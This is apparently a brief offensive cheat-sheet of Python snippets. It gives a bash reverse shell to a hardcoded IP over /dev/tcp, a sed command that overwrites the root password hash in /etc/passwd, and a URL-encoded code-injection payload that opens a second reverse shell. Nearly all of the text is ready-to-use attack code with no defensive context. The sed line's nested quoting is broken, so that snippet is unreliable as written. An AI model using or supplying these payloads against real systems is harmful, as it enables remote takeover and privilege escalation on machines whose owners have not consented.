Python script

Bash command

Python script aim at executing a simple bash command on Linux system

import os
import system

os.system("/bin/bash -i >& /dev/tcp/192.168.119.150/443 0>&1")

Changing root password

The hash password has been generated previously with OpenSSL

import os
import system

os.system("sed -i "s/root:x/root:tP7HgzhGKMz0s/" /etc/passwd")

Code injection

Reverse shell one liner

param=__import__("os").system("bash+-c+'bash+-i+>%26+/dev/tcp/192.168.49.226/80+0>%261'")

Last updated